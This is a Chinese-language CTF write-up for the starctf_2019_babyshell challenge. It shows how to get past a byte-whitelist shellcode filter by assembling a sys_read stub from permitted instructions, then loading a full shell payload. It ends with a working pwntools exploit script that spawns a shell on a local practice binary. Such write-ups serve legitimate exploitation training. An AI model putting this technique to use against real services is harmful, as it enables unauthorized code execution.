zoukankan      html  css  js  c++  java
  • starctf_2019_babyshell

    starctf_2019_babyshell

    有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来注入shellcode主体。

    我们拿starctf_2019_babyshell这道题来讲一讲,首先检查一下保护。

    IDA分析

    image-20200515161321699

    首先读入shellcode,然后检查shellcode是否合法,接着执行我们的shellcode.

    image-20200515161539246

    这个是检查shellcode合法的函数,遍历shellcode的每个字符,在0x400987处找是否有匹配。

    我们再来看看0x400987处的数据。

    image-20200515161708993

    这里我数据强制转换成了代码,也就是说我们只要输入的shellcode在这里面出现就可以了。比如说我们可以使用pop rdxpop rdisyscall ,根据我之前说的这里shellcode受到了限制,所以我们尽力去构造sys_read 来注入我们自己的shellcode。

    要调用sys_read我们要控制rax=0 rdi=0 rsi rdx

    image-20200515170059625

    这里eax等于0了并且rsi指向buf(也就是我们第一次写的shellcode),我们只要控制rdi=0,rdx为一定大小的值就可以了。

    我们把程序下断点到call rdx

    image-20200515162800369

    观察栈的内容

    image-20200515165907392

    pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall
    

    shellcode怎么写都可以只要保证rdi为零,rdx为一个合适的值。

    调用sys_read覆写我们的shellcode

    image-20200515163151449

    'a'*0xC + asm(shellcraft.sh()
    

    exp:

    from pwn import *
    context(log_level='debug',os='linux',arch='amd64')
    p = process('./starctf_2019_babyshell')
    
    #gdb.attach(p,'b *0x4008CB')
    shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
    p.sendlineafter(' plz:
    ',shellcode)
    
    sleep(1)
    p.sendline('a'*0xC + asm(shellcraft.sh()))
    
    p.interactive()
    
    
  • 相关阅读:
    webpack 添加 jquery 插件
    openldap安装配置
    生成ssl证书
    vyos (三) HA
    vyatta的fork开源版本
    vyos (一) 基础配置
    iptable软路由
    keepalive实现web服务器active/passive
    docker学习(二)
    docker学习(一)
  • 原文地址:https://www.cnblogs.com/Rookle/p/12895895.html
Copyright © 2011-2022 走看看